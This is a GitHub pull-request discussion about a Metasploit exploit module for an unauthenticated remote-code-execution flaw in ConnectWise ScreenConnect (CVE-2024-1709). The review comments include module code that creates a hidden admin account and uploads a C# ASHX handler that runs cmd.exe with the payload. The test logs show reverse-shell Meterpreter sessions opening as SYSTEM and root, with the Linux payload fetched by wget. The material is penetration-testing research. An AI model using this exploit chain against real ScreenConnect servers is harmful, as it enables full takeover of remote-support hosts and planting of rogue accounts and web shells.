New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Unauthenticated RCE exploit module for ConnectWise ScreenConnect (CVE-2024-1709) #18870
Unauthenticated RCE exploit module for ConnectWise ScreenConnect (CVE-2024-1709) #18870
Conversation
# | ||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, '/Administration'), |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Not a blocker; Looks like most modules don't supply this 🤷
'uri' => normalize_uri(target_uri.path, '/Administration'), | |
'uri' => normalize_uri(target_uri.path, 'Administration'), |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
resolved via 61c1a51
) | ||
|
||
unless res&.code == 200 | ||
fail_with(Failure::UnexpectedReply, 'Unexpected reply from request 4.') |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
It'd be great to add more clarity to these error messages when the PR is closer to completion 👍
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
resolved via 10f11c9
|
||
payload_psi_var = Rex::Text.rand_text_alpha(8) | ||
|
||
payload_data = %(<% @ WebHandler Language="C#" Class="#{payload_handler_class}" %> |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Not a blocker; this might come up again in the future - might be useful to have it available for other modules at some point
#{payload_psi_var}.FileName = "cmd.exe"; | ||
#{payload_psi_var}.Arguments = "/c #{payload.encoded.gsub('\\', '\\\\\\\\')}"; |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
We have a library function that should in theory be able to handle printable characters
cmd = Msf::Post::Windows.escape_cmd_literal(cmd, spaces: false)
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Looks like escape_cmd_literal
(shown below) will escape these chars ^ & < > |
but the above c# code needs to escape a \
to become \\
, so I will leave this as it is, thanks.
def self.escape_cmd_literal(string, spaces:)
string = string.dup
%w[ ^ & < > | " ].each { |char| string.gsub!(char, "^#{char}") }
string.gsub!(' ', '" "') if spaces
string
end
|
||
payload_ashx = "#{Rex::Text.rand_text_alpha_lower(8)}.ashx" | ||
|
||
payload_handler_class = Rex::Text.rand_text_alpha(8) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I think this might be fine, but we have a library for generating random vars with rex random identifier
generator = Rex::RandomIdentifier::Generator.new({ language: :jsp })
Looks like we don't have csharp
or similar as a language though - you can supply your own language keywords
If there is an issue with the potential of generating random strings that are accidentally language keywords here, we can just supply forbidden words and if there's anything to fix here we can circle back to adding the keyword list into rex random identifier itself later:
generator = Rex::RandomIdentifier::Generator.new({ forbidden: ['interface', 'class', 'etc' ] })
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I implemented this via 2839683 by using Rex::RandomIdentifier::Generator
and a forbidden
list as you suggested, thanks!
Thanks for your pull request! Before this can be merged, we need the following documentation for your module: |
Commit 9828ffa adds support for in-memory payload execution (albeit with a dropped ASHX file), so we get a native meterpreter session hosted in the
|
This is massive , ohh hoo |
… we dont drop the Metasploit payload to disk.
…and not accidentaly copy the full stop charachter)
…leverage the path traversal CVE-2023-1708 to ensure the dropped ASHX file can be reached. This was blocking the Linux target from working. Also works fine on Windows. We leverage FileDropper mixin to delete this file.
Commit 0b14d1b adds support for a Linux target. Older versions of ScreenConnect run on Linux. For these older versions, the Updated exploit module has been tested on:
Linux Command Target
|
… we try to inject an x86 payload in-memory we crash the target x64 service.
From a quick test, the path appears to be case insensitive - what would you think of randomizing the case on |
Hi @iagox86 - I just tested this on a Windows target and you are correct, the exploit still works if you change the case of As I want to support a Linux target too, and you don't know the platform in advance, I will probably leave it as it is. |
Ah, good call - I only set up a Windows target. Thanks for checking! |
...although as we can get a version number, and we know Linux support stopped at 20.3.31734.7751, then any version above this must be Windows, so there is scope to leverage this fact when targeting certain version numbers. I will have a think and see if this could be reasonably implemented. |
You could also try randomized then not randomized. But that doesn't really seem worth it, honestly. The gain is too marginal, although you'll almost certainly bypass a lot of rules if you randomize (I specifically did case insensitive checking in our tag, but others probably don't) |
… the version number (we can determine this with a single request, so there is no major change here). This is usefull so you know what platform to set the exploits target to (so you can select an appropriate payload). Thanks @iagox86 for the idea!
I added commit 003d5e7 which improves the message displayed in the check routine to include the target platform based on the observation from @iagox86 that Windows will handle URI paths case insensitive. The advantage is you can use the check routine to confirm vulnerability, but you also know what exploit target to choose based on the platform (Target 0 and 1 for Windows, and 2 for Linux).
|
So my team and I managed to test this Module on a vulnerable version of screenconnect, and this worked perfectly! So thanks for the module guys! But something that might be more helpful, my team managed to test and confirm this module to run on ScreenConnect_21.14.5924.8013_Release. The link in your documentation for testing is no longer up, and it looks like they might have patched all of their recent versions of 23.*. This link is still up and I can confirm still works. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks for the great module @sfewer-r7! A few minor comments, all in all looks awesome. Testing was as expected on both Windows and Linux installations:
ConnectWise ScreenConnect 23.9.7 running on Windows 11
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > options
Module options (exploit/multi/http/connectwise_screenconnect_rce_cve_2024_1709):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.123.232 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8040 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.123.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows In-Memory
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > show targets
Exploit targets:
=================
Id Name
-- ----
=> 0 Windows In-Memory
1 Windows Command
2 Linux Command
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > run
[*] Started reverse TCP handler on 192.168.123.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. ConnectWise ScreenConnect 23.9.7 running on Windows.
[*] Created account: wznyabop:MfDKFNdCl94ACLMS (Note: This account will not be deleted by the module)
[*] Uploaded Extension: 55d55c7c-d7dd-94c9-8827-60d649c5c3ad
[*] Removing Extension: 55d55c7c-d7dd-94c9-8827-60d649c5c3ad
[*] Sending stage (201798 bytes) to 192.168.123.232
[+] Deleted C:\Program Files (x86)\ScreenConnect\App_Extensions\ddonlsgr.ashx
[*] Meterpreter session 1 opened (192.168.123.1:4444 -> 192.168.123.232:49688) at 2024-02-22 13:42:38 -0800
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : MSFDEVICE
OS : Windows 11 (10.0 Build 22621).
Architecture : x64
System Language : en_US
Meterpreter : x64/windows
meterpreter >
ConnectWise ScreenConnect 20.3.31734 running on Ubuntu 18.04
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > options
Module options (exploit/multi/http/connectwise_screenconnect_rce_cve_2024_1709):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.123.233 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8040 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME tOfYxIFzfAu no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces
LHOST 192.168.123.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
2 Linux Command
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > run
[*] Started reverse TCP handler on 192.168.123.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. ConnectWise ScreenConnect 20.3.31734 running on Linux.
[!] Did not locate the __VIEWSTATEGENERATOR.
[!] Did not locate the __VIEWSTATEGENERATOR.
[*] Created account: lrybfqcr:cuRHg7typrTFL5qN (Note: This account will not be deleted by the module)
[!] Could not locate anti forgery token after login with admin credentials.
[*] Uploaded Extension: eea10979-19d9-7b89-73e2-e2820e19d66e
[*] Sending stage (3045380 bytes) to 192.168.123.233
[*] Removing Extension: eea10979-19d9-7b89-73e2-e2820e19d66e
[+] Deleted App_Extensions/wvufzxip.ashx
[*] Meterpreter session 3 opened (192.168.123.1:4444 -> 192.168.123.233:36028) at 2024-02-22 15:27:17 -0800
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 192.168.123.233
OS : Ubuntu 18.04 (Linux 5.4.0-150-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
admin_username = Rex::Text.rand_text_alpha_lower(8) | ||
admin_password = Rex::Text.rand_text_alphanumeric(16) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
In the off chance the user wants to specify a username and password we should try and support that use case by registering the datastore option and making the default values random strings.
This example the username and password will be the same random strings across multiple module runs:
metasploit-framework/modules/exploits/linux/local/f5_create_user.rb
Lines 51 to 52 in cf172d2
OptString.new('USERNAME', [true, 'Username to create (default: random)', Rex::Text.rand_text_alphanumeric(8)]), | |
OptString.new('PASSWORD', [true, 'Password for the new user (default: random)', Rex::Text.rand_text_alphanumeric(12)]), |
Or you can go this route where you get a different set of random strings each module run:
metasploit-framework/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.rb
Lines 95 to 98 in d6911f6
username = datastore['USERNAME'] | |
if datastore['USERNAME'].blank? | |
username = Rex::Text.rand_text_alphanumeric(5..20) | |
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Good suggestion, thanks! I implemented via f3af183.
'__VIEWSTATE' => viewstate, | ||
'__VIEWSTATEGENERATOR' => viewstategen, | ||
'ctl00$Main$wizard$userNameBox' => admin_username, | ||
'ctl00$Main$wizard$emailBox' => "#{admin_username}@#{Rex::Text.rand_text_alpha_lower(8)}.#{Rex::Text.rand_text_alpha_lower(3)}", |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Not a blocker - I'm not sure if we prefer randomizing strings like these or if we'd want to use the Faker
library.
I also noticed lower down when you create manifest_data
, the fields Name
, Author
and Description
all get randomized. We could use the Faker
library to generate a random name for the Author
field but seems slightly futile if Name
and Description
will both be random. Just thinking out loud.
'ctl00$Main$wizard$emailBox' => "#{admin_username}@#{Rex::Text.rand_text_alpha_lower(8)}.#{Rex::Text.rand_text_alpha_lower(3)}", | |
'ctl00$Main$wizard$emailBox' => Faker::Internet.email(name: #{admin_username}), |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
# | ||
|
||
# NOTE: Rex::Text.rand_guid return a GUID string wrapped in curly braces which is not what we want. | ||
plugin_guid = [8, 4, 4, 4, 12].map { |a| Rex::Text.rand_text_hex(a) }.join('-') |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This generates a random UUID using Ruby's PRNG Random
class.
plugin_guid = [8, 4, 4, 4, 12].map { |a| Rex::Text.rand_text_hex(a) }.join('-') | |
plugin_guid = Faker::Internet.uuid |
Edit: To specify it does not return a uuid wrapped in curly braces. If this suggestion is accepted the # NOTE above should also be removed.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Implemented via fe88673.
…default to a random value. Also use Faker::Internet.email to gen an email address
…ded a second link, so adding that to the docs
Thanks @jheysel-r7 for those great suggestions, much appreciated. I have implemented them all, if you could give those new commits a review that would be super. Thanks @rad10 for testing the module and reporting the broken link! |
Thanks for making those changes @sfewer-r7! Looks good to me and re-testing was as expected. Great use of the Linux install with latest commit d7a0dee
Windows install with latest commit d7a0dee
|
Release NotesThis PR add an unauthenticated RCE exploit for ConnectWise ScreenConnect (CVE-2024-1709). |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I've been unable to successfully complete the exploit due to the following error: "Unexpected reply after attempting to login with admin credentials." Any troubleshooting ideas?
The only difference I can find in my approach is that I have not been able to login to http://127.0.0.1:8040/ because I can't find the trial license key to paste. However, I am successfully logged into the https://username.screenconnect.com/Host#Support/All%20Sessions console. Any suggestions would be greatly appreciated, thank you!
I tested
However I think what you are seeing is slightly different from this, your console output shows that an account is created but cannot be used. I expect this is due to the target server being unlicensed. |
This
(draft)pull request adds an exploit module for the recent authentication bypass vulnerability in ConnectWise ScreenConnect.(No CVE has been assigned at this time.)RCE is achieved by leveraging the vulnerability to create a new admin account, and then using these creds to upload an extension (i.e. a plugin) that hosts a Metasploit payload. Currently only
ARCH_CMD
payloads are supported.Update 1: Support for
ARCH_X64
andARCH_X86
payloads has been added, these payloads are executed in theScreenConnect.Service.exe
process.Update 2: Added support for a Linux command target.
Update 3: Move module to the "multi" directory as it now supports a Linux target. Remove
ARCH_X86
as ScreenConnect only supports x64 and we don't want to inject x86 shellcode into an x64 process.To-Do
Usage